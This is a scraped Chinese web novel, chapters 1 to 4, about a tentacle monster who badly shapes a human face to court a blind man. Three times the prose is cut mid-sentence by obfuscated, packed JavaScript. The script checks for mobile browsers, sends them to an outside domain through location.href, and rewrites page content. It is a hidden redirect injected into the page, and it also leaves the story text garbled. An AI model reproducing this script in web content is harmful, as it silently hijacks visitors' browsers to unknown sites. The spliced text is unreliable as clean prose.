《触手伪装人类，但大失败》 1. 第 1 章 “阿斯莫德，你在做什么？”低沉的声音在黑漆漆的森林里响起。 这显然是一座森林，是一座被污染的森林，树木不正常地生长着，扭曲畸形地纠缠在一起，高高地在天空形成巨大的屏障，阻止了阳光自由地进入。 因此到处都是黑暗阴冷的。 这种地方，人类是不会随便走进来的，说话的自然不会是人类。 将要回答问题的也不是。 “别吵，我在研究怎么变成人类。”阿斯莫德说。它坐在湖水边，又长又粗的触手垂进水里，认真安静得像在用触手钓鱼。 当然，湖里不会有鱼，这里是城外污染地的深处，只会有怪物和污染物，就算是鱼，也只会是长满尖牙，浑身是比钢铁还坚硬鳞片的怪鱼。 阿斯莫德喜欢水，所以占据了森林里有湖的这一角。也正是因为他占领了这里，所以这里成了他的领地，人类和怪物都鲜少踏入这里。 低沉的声音沉默了一会儿，发出一声嘲讽：“你？你要变成人？你的大脑又被污染了？” 阿斯莫德不耐烦地甩了一下触手，警告：“你别打扰我。” 低沉的声音听出了它语气中的威胁，于是不说话了，在暗处盯着它看，心中暗暗琢磨这怪物又想做什么。 不会又是想像之前那样混进人类的城区内吧。人类的城区有什么好玩的，没意思，只有傻子才会喜欢去那种危险的地方。 阿斯莫德不会知道低沉的声音在腹诽它，它正在专心致志地按照其他怪物教它的方法，集中注意力，然后想象自己拥有的是四肢，然后是脑袋，最后是勾勒一张英俊帅气的脸。 它庞大的身形肉眼可见地在缩小，很快坐在湖边的巨大的黑漆漆的软体怪物消失了，湖水里泡着的触手也不见了，取而代之的是一个人类。 一个年轻的人类，身材高挑修长，身形比例接近完美，以及……一张奇怪的脸。 低沉的声音发出一声大笑：“哈哈哈哈，阿斯莫德，你好丑！” 阿斯莫德低头看着湖水。 光线太暗了，它——现在是他了，只能勉强看见湖水里有个人形，看上去还不错的样子。阿斯莫德想。他才不信那家伙说的话，那家伙看到什么都想嘲讽几句。 阿斯莫德想了几秒，刚变出来的人类手臂又消失了，变回了柔软却又有力的触手，触手尖冒出一团光，驱散了周围的黑暗。 他再一次朝着湖水看去。 “……” “怎样，现在你相信我说的话了吗？阿斯莫德，你的人形真的很丑。”低沉的声音咯咯咯笑了起来。 不，水里面这个不是他！绝对不是！阿斯莫德无声尖叫。绝对不是！他明明是按照人类喜欢的模板去捏的脸，不是都说人类喜欢大眼睛，高鼻梁，弯眉和薄嘴唇吗！ 到底是哪里出了问题！ 低沉的声音还在大声地嘲笑：“哈哈哈哈哈，你是故意捏成这样的吗？我猜你是想靠这个去吓唬人类，把他们都吓晕，这样就不会有人来你的森林。好办法，真是好办法，我怎么就没想到呢。” 才不是！阿斯莫德气得变了形，人形瘫成了一大摊黑乎乎的流体，几根触手从其中猛地飞了出来，以极快的速度伸长，然后精准地在黑暗中掐住了还在嘲笑他的怪物，把它拖了出来。 一条深褐色的蟒蛇被从暗中拖了出来。 “闭嘴。”阿斯莫德冷冷地说。他丝毫没有收着力气，几根触手勒着蛇，掐着蛇的七寸。 蟒蛇抽动了一下身体，几道雷光在蛇身上闪过，却没有给触手带来任何影响。 “好好好，我不说了。”蛇只好投降。 阿斯莫德这才把蛇放下，触手缩了回去。 “我只是开个玩笑。”蛇说，它在心中暗骂。他当然知道自己打不过阿斯莫德。但平时大部分时候阿斯莫德脾气都很好，开点玩笑什么的也不会生气，怎么今天就生气到动手了。 它看见阿斯莫德维持着流体形态，没有变回人形，也没有恢复原本的样子，有些奇怪。 很快，它心中一惊，心想难道阿斯莫德之前说的是认真的？他是真的想要长期待在人类的城区里？ “喂，你不会是认真的吧。”蛇这次问得谨慎了起来。 阿斯莫德还在郁闷着自己的人形为什么如此不对劲——他拒绝称之为丑陋——听到蛇的问题，心不在焉地回答：“是啊，我不是前段时间就说了我在准备离开这里了吗？” 蛇一时不知道该说是惊讶还是高兴。惊讶肯定是有的，阿斯莫德占据这块位置有很长一段时间了，不管是谁想来挑衅争夺都会被它赶走，现在它却说要离开？ 算了，不管阿斯莫德怎么想的，不重要。重要的是这一块之后要怎么分配。阿斯莫德是这里最厉害的怪物，这是毋庸置疑的，但接下来的实力排行，是它排在前面呢，还是那虫子？哎，差点忘了，那虫子不喜欢湖，估计不会和它争，好的那这一块就归他了。 蛇压住声音里的窃喜，问：“你什么时候走？” “……”阿斯莫德不说话了。他本来是想要成功变成人形之后就立刻去的。但是现在…… “我的人形真的很丑吗？”阿斯莫德问。 “啊。”蛇自认为自己是绝对虚伪的，说出口的话以谎言和欺诈为主，从来没有考虑过什么良心，能吃吗？但是现在，它忽然发现自己还是有良心的，它的良心让它没有办法说出欺骗阿斯莫德的话。 最后蛇深沉地说：“你的人形，五官十分端正。” 阿斯莫德不是傻子，他不太能听懂这句话的真正意思，但是从蛇的口吻来看，这绝对不是夸他的话。 他重新变成了人形，触手飞出，再一次掐住了蛇，面无表情地说：“我再给你一次组织语言的机会。谢利丹。” 谢利丹是蛇的名字，但它并不喜欢这个名字，它没好气地从阿斯莫德的触手里挣脱，落在地上变成人的样子。 人形的蛇是成年男性的样子，绿色的眼睛呈现蛇瞳，他懒洋洋地舒展了一下许久没用过的人类身体，说：“其实还好，人类的审美和我们的不一样，我只能回到你，你的怪物形态很不错，很有力量，至于人形，我也不好说——但我还是想问你，为什么不找我问怎么变人形。” 阿斯莫德打量着他，心里觉得他的人形也不是很好看嘛，一边说：“我几乎没见过你的人形，以为你不擅长。” “啧，那你去找到谁？那条虫子？”谢利丹问。他其实并不关心是谁教的阿斯莫德变人形，但他需要打听一下那条虫子是不是回来了。 “是。”阿斯莫德扭头看着湖水，皱着眉头，然后发现这种表情下这张脸显得更丑了。 “……”阿斯莫德有点想大开杀戒。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691494|173371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利丹感觉到了他气场的微妙变化，庞大的精神力在对方产生怒意的时候开始不受控制地外泄，它谨慎地变回蛇形，支起身子，嘶嘶地说：“你别生气，捏脸嘛，你多练习练习就会了。” “我想现在就离开。”阿斯莫德说。他很急，一点也不想再等，在见到那个人类之后，他的每一天都开始用来等待下一次见面。 离开好啊，最好别再回来，谢利丹想，于是他怂恿：“没事，那你就离开，做人嘛，有完整的四肢和脑袋就很不错了，具体是什么样子不重要。” 阿斯莫德不信。他又不是没和人类打过交道，他其实很清楚人类都是视觉动物，喜欢好看的生物。 但是他的本体并不好看。现在连人形好像也不太行。 阿斯莫德很忧伤。 谢利丹终于想起来要问一句：“话说你要变成人形去做什么？去人类的城区里？你前几次去的时候不是都以拟态去的吗？怎么现在忽然想到用人形。” 阿斯莫德不太想说，他犹豫了一下，觉得就算说出来这蛇也不会明白，所以他含糊地说：“去解决一点问题。” 谢利丹听出来他不想说了，但也不在意，他说：“你那么强大，哪有什么解决不了的问题，你都那么努力变成人形了，既然着急，为什么不现在就去呢？” 它说这句话是完全真心的，绿眼睛看着阿斯莫德，带着一点诱惑和鼓励，暗暗用上了精神力。 阿斯莫德看了它一眼，没有说话，似乎是在思考。 过了一会儿，他说：“你说的对，我准备今天就去。” 谢利丹窃喜，看来它的精神力还是可以对阿斯莫德造成影响的嘛，效果还不错。 阿斯莫德走了两步，很快就适应了人类的双脚。他的本体那么多只触手他都能控制，区区双脚，随随便便。 阿斯莫德越走越快。谢利丹看着他离开的背影，想着自己要不要再观察几天，万一阿斯莫德在人类的区里面待不下去又回来了，那自己就白占他的地盘了。 说起来这家伙的人形，正脸虽然抽象，但是大概是身材比例捏得好，背影还是挺像模像样的。光是从背影看，或许会有很多人以为这是个长得还不错的青年。迷惑性很不错。 谢利丹想着，忽然就听见阿斯莫德轻飘飘地丢下了一句：“我知道你对我用了能力。这次原谅你。” “……”谢利丹一僵。*的，这家伙真是怪物中的怪物。 阿斯莫德走了一会儿，觉得人类的双脚有点慢。但想到自己以后很长一段时间都要顶着人形过，也就没有变回去。 他当然知道谢利丹想要他离开，谢利丹贪念他的湖很久了。 他的湖确实是一个好地方，阿斯莫德也有点舍不得。但是一想到就要去见到喜欢的人类了，他又觉得只是一个湖罢了，完全可以舍弃。 是的，喜欢的人类，阿斯莫德心情很是雀跃。他在前段时间，对一个人类一见钟情了，所以打算离开这里，去到人类的地方追求喜欢的人类。 脸什么都就先不管了，阿斯莫德和人打过交道，知道现在的人类，更看重实力而不是外貌。实力他肯定是有的。 至于外貌。阿斯莫德觉得谢利丹说的对，人类的审美和怪物的不一样，他这可是按照人类喜欢的五官捏出来的脸，说不定人类会喜欢呢。 阿斯莫德信心满满地走出了森林。 2. 第 2 章 结果信心在两小时之后消失得无影无踪。 两小时，正好是从污染地深处走到人类城区外的时间。 由于大片的土地被污染，被污染的土地不适合人类生存，还有随着污染出现的污染物和怪物，因此人类放弃了被污染的土地，转而迁移集中在了仅有的完好的土地里。这就是人类城区的来历。 阿斯莫德现在在排队等待进入的，就是属于人类的城区，编号IX，是距离他所在的污染地最近的一片城区。 城区的出现是为了防止污染进入，怪物、污染物都属于污染的一部分，按照一般的道理来说，身为怪物的阿斯莫德是没有办法进入其中的。 但还有一种和污染有关的生物没有被城区所拒绝，那就是受到污染但是最后没有被完全污染的人，人类称之为异变者。 污染物，是被完全污染，失去本性的人、植物或者是动物。 怪物则是受到污染，但是没有被完全污染，最后保留了理智的动物。 阿斯莫德一直很奇怪，为什么同样是没有被完全污染的生物，他们却要被称之为怪物，不被允许被进入城区中，而作为异变者，却不但能够进入城区里，还能受到很多人的尊重。 之所以阿斯莫德会这么清楚，是因为他在还没有办法变成人形的时候，就是以异变者的身份进入人类的城区的。 没有人形的时候，阿斯莫德都是顶着拟态，然后用精神力模糊所有看到他的人的想法。这种方式下，见到他的人都只会觉得他是个很普通的人类。 但是现在他有人形了，阿斯莫德觉得就没有必要多此一举，他大大方方地用人类的样子站在排队等候的队伍里。 然后就接收到了不止一个人奇怪的打量。 阿斯莫德脸上的雀跃逐渐消失了，他开始觉得听力太好也不是一件好事。 他听到了一些窃窃私语，主要内容都是在说，这人长得真丑——这是大部分人小声说的。这个哥哥长得好奇怪——这是不懂事的小孩说的。这家伙不会是受到了污染吧，不然怎么会长成这样——这些是来自面露警惕的城外看守和一些同样在排队的人。 阿斯莫德意识到了，自己的人形好像真的是大失败。不管是人类的角度看还是怪物的角度看，似乎都不能说是好看的。 ……不但不好看，好像连平均水平都没有达到。 阿斯莫德后悔了，心想今天或许并不是一个适合和喜欢的人见面的日子，要不他还是走吧。 但是他又想到，自己都排了好一会儿的队了，来都来了，要不还是先进城区里走一走吧。 唉，进去买口小蛋糕吃。阿斯莫德想。就当是安慰自己。 于是阿斯莫德站在排队的人群里，随着人群慢慢地前进。 进城区之前最重要的程序是排查污染。 城外大部分的地方都已经沦为了污染地，经过污染地的人身上多多少少会带上一点污染值，超过一定数值将会被禁止进入城中。具体的数值每一片城区都有所不同，比如编号为IX的城，禁止污染值超过百分之五十的人进入城外圈。 阿斯莫德没有去过别的城区，但是他听别人说，百分之五十是一个很高的数字，在十一片城区里面，好像是限制最低的一个。 轮到阿斯莫德，负责检测的人面色疲惫，示意阿斯莫德走进仪器里面。 阿斯莫德走进去，透明的圆柱形仪器反应了十几秒——比别人的时间都稍微长一点，然后亮起了绿灯，圆柱仪器的门打开了，阿斯莫德了出来，看见负责检测的人迟疑地看着仪器，念出上面的数值：“污染值百分之四十八……您是异变者？” 阿斯莫德眨眨眼。什么，他以为自己控制在了百分之三十以下，在他多次进城区的经验里，这是最不容易引起注意的数。好吧，可能是因为变成人形，他的控制力出了一点差错。还好没有超过限值。 负责检测的人看了看他的脸，流露出一点同情，似乎明白了什么，又说：“您是第一次来IX城区吗？我们其实为异变者准备了别的通道的，下次您可以走专门的通道进来。” 阿斯莫德点点头表示知道，接过了那人递过来的电子手环。他知道这是进城许可，只是和他之前拿到的有些不一样，他之前拿到的都是白色的，这次是浅蓝色的，可能是因为他现在的身份是异变者？ 负责检测的人的态度很是明显，声音也没有刻意压低，再加上属于异变者的是浅蓝色的手环被戴在了阿斯莫德的手上，阿斯莫德很快感觉到了周围人的视线发生了一些变化。 阿斯莫德形容不出区别，大概是“这人丑得可怕”变成了“这人这么丑，果然是被污染过的异变者”。可恶啊，阿斯莫德磨了磨牙，心想等着吧，等着自己重新捏脸，再次回来，他一定要惊艳所有人！ 阿斯莫德进城区的目的已经改变了，他现在充满挫败，只想去买个小蛋糕来安慰自己。 他现在所在的是城中外圈，据说是城区三圈里面环境最差的一圈，人流杂乱，环境破败，但是阿斯莫德还挺喜欢这里的。因为城外圈有条河。他喜欢水，湖和水都喜欢。阿斯莫德要去的是甜品店，路线就是找到河，然后沿着河一直走。 阿斯莫德觉得甜品店的老板说话好听，人也不错，想要去顺带问问老板对他的脸的看法。 他走进了甜品店，作为一个不怎么在人类城区里生活的怪物，他其实没有多少钱。 阿斯莫德纠结了好久，最后只给自己选了一个布丁。他之后说不定要在人类的城区里面长期居住，这里的甜品不便宜，他还是省点钱吧。 不知道为什么，明明是很好吃的甜品店，但店里却总是没有生意，冷冷清清的，今天阿斯莫德来的时候又是只有他一个。 阿斯莫德走去结账，结账的时候，老板耷拉着眼皮，一副没睡醒的样子，看了一眼，说：“二十一通用货币。” 阿斯莫德从口袋里掏出钱，推到老板面前，老板这才抬头看了他一眼，眼里闪过一丝惊讶，没等阿斯莫德开口，就说了：“又是你啊。” 阿斯莫德眨眨眼，疑惑地问：“你怎么知道是我的？”前几次他来的时候都是用拟态，没有人形，就算老板记得他，应该也只是只是一个模糊的印象，不应该知道他的样子才对。 老板摆摆手：“这里也就只有你会大白天来买什么甜品。” 这家甜品店已经冷清到白天不会有人来的程度了吗。阿斯莫德吃惊。算了，这也不是他应该操心的，阿斯莫德有点紧张地清了一下喉咙，问老板：“说起来，老板，你……你觉得我长得怎么样？” “什么？”老板感觉自己没有听清楚。他对上阿斯莫德的眼睛，看见了他眼中的期待。 老板沉默了。他第一次认真地打量这个不知道什么来头的异变者。 他之所以会记住阿斯莫德，一部分原因确实是因为这家伙总是在大白天走进来，然后买甜品。要知道他这里根本不是卖甜品的，不过是一种伪装，店里摆放的甜品都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691495|173371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他准备留给自己女儿吃的，结果这家伙每次来都买走不少，让他印象深刻。 还有一个原因就是，精神力。 老板又一次感知了一下对方的精神力，吃惊地发现对方的精神力比以前还要更加深不可测了。 再加上这骇人的样子……这家伙最近是又去了哪里，导致污染加重了吗？ “呃，你刚才问我什么来着，你的长相？”老板上上下下看了阿斯莫德好久，最后迟疑地问，“你最近是不是又去了污染很重的地方，污染值上升了？” 阿斯莫德没听明白，这和他想问的有什么关联吗？不过老板说的倒也没错，于是他点点头。 老板叹了口气，说：“那倒也正常，污染嘛，多多少少会带来一些影响，你也不要太伤心，相比别人断胳膊断腿的，甚至失去性命，你这已经算是不错的了。你要不要打听一下咋怎么去城中心，听说那边的有钱人知道要怎么清楚体内的污染。” 阿斯莫德迷迷糊糊地听着，终于反应了过来，打断了老板：“不是，老板，我没有被污染。”他的脸才不是污染后导致的，是他认认真真捏出来的！ 老板一怔，反应了几秒，尴尬地笑了起来：“啊哈哈哈哈，这样啊。我是说，我的意思是说，嗯……你有钱的话还是可以去看看的，科技能改变一切不是吗？” 阿斯莫德心想什么科技，只要他想，只要花费一点时间，他想要什么脸都可以，哪里需要什么科技。 他不想听老板废话，严肃地看着老板，说：“我想听到一个认真的回答。” 老板心想你这孩子怎么回事，你应该也不是第一天长这样吧，怎么受刺激了想到问这种让人没法回答的问题。 话说他之前是这个长相吗？老板回忆了一下，判断。好像不是。大概是用了什么特殊能力遮盖吧。 “嗯……呃……其实还好吧，能看，能看。”老板说。 阿斯莫德知道了，阿斯莫德心碎了。 他第二次被暴击，这次的暴击还是来自人类。 这下可以肯定，人类是不会喜欢他这种长相的。阿斯莫德心灰意冷地抱起刚买的小布丁，恹恹地说：“走了。” 不用再说了呜呜呜，他已经知道了，他的人形真的很丑。 阿斯莫德离开了甜品店，顺着河流慢慢地走着。 他决定回去再好好研究一下要怎么捏脸，下一次进城区，一定要顶着一张人见人爱的脸。 唉，但是他在这方面似乎没有什么天赋，光是学会变成人形就用了大半个月，不知道成功捏脸又要费多少时间。 阿斯莫德有点失落，一想到下次来这不知道是什么时候，他就有点不想走了。 于是他在河边坐下，决定先把布丁吃掉。 呜呜呜好难过，做人好难。 阿斯莫德伤心地吃掉了布丁，坐在河边发呆。 他低头看着河水流淌，很想把自己的触手放进去泡一下。 但他很快就打消了这个念头，他现在是人形，变出触手的话可能下一秒就会被人类抓起来了。 至于拟态，阿斯莫德还没学会怎么一边维持人形一边用拟态。 唉，做人好难。 说起来，人类遇到难过的事情时会有什么反应？ 哦，好像是哭来着。 阿斯莫德决定要好好学习做人，他又想了一下自己失败的捏脸，以及没有办法现在就去认识喜欢的人，悲从中来，他学习人类，开始嗷嗷哭。 3. 第 3 章 虽然说是嗷嗷哭，但实际上只是在干嚎。 周围的人并不算多，而且各有各的事在忙，他坐在河边不显眼的位置，倒也没有什么人注意到他。 也不是完全没有人注意到他的，阿斯莫德呜呜呜哭了一会儿，感觉到了有一道视线在他身上落了好久。 谁啊，没看到人家在哭吗？阿斯莫德有点恼火，他放出精神力，想要去把那人赶走。 精神力展开，碰到了那人。 阿斯莫德僵住了。 等下，等等，不是，为什么，为什么是他！ 阿斯莫德迅速捂住了脸。 站在那里看他哭的，为什么会是他喜欢的人类啊！ 怪物的情绪感知其实和人类有所不同，但此时此刻的阿斯莫德，非常清楚地感受到了名为丢人的这种情绪。 早知道他会出现在这里，阿斯莫德打死都不会在这里哭。 不对不对，你怎么还走过来了啊！阿斯莫德的精神力感知里，他一见钟情的那位人类，朝着他走了过来。 阿斯莫德更加用力地用手捂住了脸，紧张得绷紧了身体。 能看到喜欢的人他当然很高兴，但是为什么是现在，他还没有捏出一张好看的脸，还没有做好准备。 他他他真的走过来了！还不是路过！是朝着自己！ 阿斯莫德咽了咽唾沫。 他捂着脸，只能透过自己的指缝看见前面波澜不惊流淌的河，精神力感知只能模糊地告诉他走过来的是什么人，却不能给他明确地描述画面。 “你怎么了？”一见钟情的人类停在了他的身后，好听的声音响起，大概是在问他。 阿斯莫德压住心脏的狂跳，精神力迅速扫了一圈周围。很好，没有别人，这周围连只爬虫都没有，就是在问他。 人类又开口，声音就和他的人一样，温和如玉，带着真切的关心：“我好像听见你在哭，是发生了什么吗？” 阿斯莫德的大脑飞速运转，思考着要怎么样回答才能完美地应对这场搭讪，这是搭讪吧，这就是！ 他还没有想好要怎么回答，嘴巴就应该迫不及待地抢在了大脑前面。 嘴巴说：“呜呜呜是因为，是因为我好丑，没人喜欢我。” “……”他怎么就，怎么就说了出来。阿斯莫德想抽自己一巴掌。 他紧紧闭上了嘴，生怕自己又控制不住地要把别的什么话也说出来。 比如，我怕你也像别人一样不喜欢我。 阿斯莫德忍不住想看看喜欢的人类会有什么反应，他想到反正自己刚才都说了自己很丑了，那么遮挡这张脸好像也没有什么意义了。 于是阿斯莫德自暴自弃地放下了手，扭头看向他一见钟情的人类。 阿斯莫德在去到人类的城区之后，才发现自己其实有点脸盲。 对他来说，人类都长得一个样，都是两只眼睛一个鼻子一张嘴，长头发的短头发的没头发的，都没有什么区别。 但是他一见钟情的人类不一样！他一见钟情的人类，非常，非常好看！比其他人类好看了无数倍！ 他喜欢的人类有着和他最喜欢的湖泊一样颜色的眼眸，还有着阳光一般的金色长发。浑身上下都是阿斯莫德喜欢的样子。 阿斯莫德对上了人类的眼睛，感觉到心脏在怦怦乱跳。 诶？说起来，上一次见面的时候，人类的眼睛是像现在一样的灰蓝色吗？ 好像不是啊。 阿斯莫德疑惑了两秒，很快就意识到了什么。 人类虽然是低头看着他，视线却是涣散没有办法聚焦的，灰蓝色的眼睛缓慢地眨了一下，人类说：“啊，你发现了吧，我是个瞎子，我看不见。” 阿斯莫德来不及回忆之前的见面，他急急地说：“不，你不是瞎子，你只是……视力有点障碍。” 人类似乎被他逗笑了，发出一声轻笑，说：“无所谓啦，我已经习惯被人这么叫了。” 习惯被人这么叫？阿斯莫德想，那就是说，人类至少在很长的一段时间里都是这样看不见的吗？那为什么他上一次见到人类的时候，人类好像是看得见的？ 阿斯莫德没有细想，因为人类又说话了。 人类说：“如你所见，我看不见，你要不要跟我走？” 人类微笑着，朝他伸出了手。 什么，天大的好事！阿斯莫德立刻把所有思考能力抛在了脑后，他的脑子里视线里现在只剩下了对他伸出的那只手。 他欣喜若狂地抓住那只手，猛地从地上站了起来，大声地说：“要要要！” 他不会是在做梦吧。今天他的运气是不是有点好过头了，嘿嘿嘿，好开心。阿斯莫德满心欢喜，没有注意到人类在被他抓住的手有点颤抖。 ------- 按照别人的话来说，江言渊是一个瞎子，因为他目不能视。 但目不能视并不代表他眼前的世界是一片漆黑的。 实际上江言渊能“看”到的东西有很多，他虽然没有视力，但是用精神力看到的东西，也能算是看到吧，甚至很多时候，他能看到的比别人更多。 比如不管是刚才还是现在，这周围，似乎只有他能看见面前被他牵着手的，是一个庞大的怪物。 江言渊缓缓吐出一口气，试着让自己加速跳动的心脏变得镇定一些，控制手不会因为激动而颤抖。 这有些难做到。他的精神力感知里，面前的怪物是极其恐怖的存在，就算是拥有完整能力的自己，也不一定能打得过。 庆幸的是，怪物似乎只是想抓住他的手站起来，在站起来之后，很快就松开了他的手。 江言渊暗暗松了口气。 怪物问他：“那我们现在要去哪里啊。” 去哪？江言渊思索了几秒，试探地问：“你有地方住吗？” 怪物摇摇头。 江言渊猜到了这个回答，于是他顺理成章地说：“那就去我家住吧，你介意吗？” “好啊好啊，不介意不介意。”怪物回答得飞快。 江言渊有点摸不透怪物想要做什么，他原以为在自己说出这句话后，怪物总会问点什么。 但怪物一口答应了下来，什么也没有问。江言渊都有点怀疑自己的能力是不是出错了。 他是一个异变者。大部分的异变者都会拥有属于自己的特殊能力，就算没有特殊能力，精神力也会在受到污染异变之后得到大幅度地提高。 江言渊两方面的好处都得到了，即获得了特殊能力，精神力也有提高。 因为一些事情，他失去了自己大部分的能力，剩下保留在身体里没有被剥离的能力，只能帮助他感知一些恶意和善意，以及在一些特殊情况下，告诉他一些机遇。 比如面前的怪物，就是能力告诉他的机遇。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691496|173371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江言渊觉得自己大概是疯了，居然敢主动去招惹这么一个强大的存在。 他的能力真的没有出问题吗…… 这个念头只是闪过了一秒，江言渊在遇到比面前这个怪物还要强大的存在的时候，他的能力也没有出错过。他不相信任何人，但他会相信自己的能力。 既然能力都说了这是一个机会，那他愿意赌一把。他确定自己是清醒的。这不过是一次普通的赌/博，和以前的无数次相似，只是更加大胆了一些。 “我们走吧。”江言渊说。 江言渊走在前面，知道怪物跟在他身后。他不太喜欢有人跟在自己身后，一开始有意放慢了脚步，想要两人并排。可那怪物在他放慢脚步的时候也跟着变成慢走，可以说是亦步亦趋地跟在他身后。 算了。江言渊放弃了，反正如果怪物要杀他，不管站在哪里自己估计都没有办法逃走。 说起来，自己也不能一直用怪物来称呼它，虽然它确实是一个怪物。从现在的状态看，怪物大概是伪装成人类进入城区的，说不定有着自己的目的，万一自己不小心说漏嘴，拆穿了怪物的身份，那可能会给他们俩都带来麻烦。 想到这里，江言渊偏了偏头，说：“我叫江言渊，你呢？” 江言渊。江言渊。阿莫斯德在心里念了两遍这个名字，心想这就是他喜欢的人的名字吗，真好听。 他知道人类交换名字代表关系更进一步，高兴得心里像刚打开的汽水，不断冒气泡，他郑重其事地说：“我是阿斯莫德！你可以叫我阿尔。” 这是他自己给自己取的名字，阿尔是昵称，他从来没有让人这么叫过他。当然，江言渊是不一样的，他想怎么称呼他都可以。 但江言渊没有如他所期待的那样叫他阿尔，只是点了点头，说：“我还是叫你阿斯莫德吧。你的名字听起来不像是北五区的，你应该是刚来到这里的？” “啊，是，我之前在别的城区生活。”阿斯莫德说。什么北五区，什么意思，他完全没听懂。 他赶紧在脑袋里做了个备忘，提醒自己之后有空一定要去了解。 江言渊对情绪的感知比很多人都要强。他感受到了阿斯莫德一瞬的茫然，猜到了他是胡乱回答的。 人类现在还存在的城区有十一片，编号为古罗马文I到XI，其中北五区所生活的，大部分都是大灾变之前的东方人，名字也多数以三个字两个字为主。西四区则大部分是以前的西方人，姓氏和名字都较长。怪物的名字风格就比较像那一边的。 但阿斯莫德显然不清楚这些。 看来这个怪物对人类并不算很了解，江言渊想。这是一件好事，意味着自己之后可以在这一方面下手。 “你来这里有什么想做的吗？”江言渊看似顺口地问道。 阿斯莫德被问住了，他张开嘴，下意识想要实话实说：来找你，然后和你待在一起。 “我……”话都到了嘴边，阿斯莫德闭上了嘴，他想起教他变成人的朋友说过，人类是很含蓄的生物，和他们交往的时候不能太直白。 阿斯莫德停了下来，站在原地，长久地注视着江言渊。 江言渊看不见，但精神感知里能感觉到阿斯莫德一直在看着自己，他暗暗提高了警惕，微不可查地调整了站立的姿势，才开口：“怎么了吗？” “没有，我只是在想，要怎么委婉地说，我很喜欢你。” 4. 第 4 章 “……” “……” 空气是沉默的，死寂的，安静的，一点声音都没有的，是蚊子不小心乱入都会因为自己的嗡嗡声感到愧疚的。 阿斯莫德觉得自己可能是被诅咒，不然为什么他每次想要隐瞒自己想法的时候，都会一不小心说出真心话。 这下完了，朋友说过，人类不会喜欢这种莫名其妙冲上来表白的，因为会显得很可疑。 他往后退了一大步，试着再挣扎一下，虚弱地说：“我什么也没有说。” 我只是眼睛看不见，但不是耳朵不行。江言渊默默地想。他也有点想后退了。 他确实看不见，但能用精神力进行感知。 而精神力所感知到的，实际上是其他人的精神体。这也是为什么他会知道怪物是怪物，因为怪物的精神体和人类的有所区别，从形态上来说，阿斯莫德在他的精神力感知里，精神体是一大团黑色的不明状物，有点像立体的墨汁。 而就在刚才，墨汁往后退了一大步，然后像是受到了刺激一样，开始激烈翻滚涌动了起来，接着从里面伸出了好几根黑漆漆的触手，朝着他伸了过来。 还好最后触手在快要碰到他的时候落在了地上，只是狠狠抽了一下地面，没有在靠近，不然江言渊不知道自己会不会绷不住脸上的表情。 这家伙原来是触手系吗。 触手系是不是刚才对他表白了？江言渊找回重点。 江言渊慢吞吞地说：“但是我已经听到了，你在想要怎么委婉地说很喜欢我。” 啊啊啊啊不要重复一遍啊！阿斯莫德在心里尖叫，如果他现在是本体形态的话，那肯定会把触手甩得漫天飞舞。 但他现在是人形，所以他只能疯狂地摆手：“不，没有，不是，我刚才没有说话，我不是这个意思。” 江言渊看着阿斯莫德的精神体挥舞着触手，忍住没有后退，觉得还是先让他平静下来好点。 他打断了阿斯莫德，说：“谢谢你的喜欢。” 这句话的效果非常好，立竿见影，阿斯莫德像是被泼了一盆冷水，抖了两下，沮丧地想。朋友说的是对的，在刚认识的时候表白只会被拒绝。 江言渊看着阿斯莫德的精神体因为他这句话而垂下了所有触手，松了口气。他感受到了阿斯莫德的情绪，是显而易见的垂头丧气。 江言渊挑眉，觉得这怪物比自己之前见到的任何一个怪物都要简单直白，情绪变化非常明显，并且没有丝毫掩饰的意思。怎么说，嗯，有点傻。 这么一个怪物，如果不是真是傻，那就是实力强大，无所顾忌。或许阿斯莫德两个都占了？或许他可以更大胆一些。江言渊想着，觉得可以稍稍给改变一点对阿斯莫德的态度。 他在问清楚和把事情揭过就此之间犹豫了两秒，选择了前者。 后者当然是更稳妥的选择，但江言渊对于阿斯莫德口中的喜欢有些好奇，所以他说：“我刚才问你的，好像不是这个问题，还是说这就是你的回答？” 阿斯莫德觉得自己没法再掩盖了，他只好自暴自弃地回答：“是，算是吧，我想和你待在一起。” 他说的是实话，但不知为什么心虚得很，声音也跟着越来越小。 他等了好一会儿，没等到江言渊说话，更是底气不足，紧张地看着江言渊，却没法从他脸上看出什么神情。 江言渊“看”着他，眼睛因为失明，没有集中在任何地方，脸上没有表情，看起来像是在啊发呆。可能是在思考这么处理他？阿斯莫德想。 呜呜呜，他这算不算是失恋了？江言渊还会让自己跟在他身边吗？他的一见钟情不会到这里就要结束了吧。 阿斯莫德小心地问：“我还能跟你走吗？” “啊，当然可以。”江言渊笑了笑。他刚才其实是在思考，阿斯莫德口中的喜欢是哪一种。 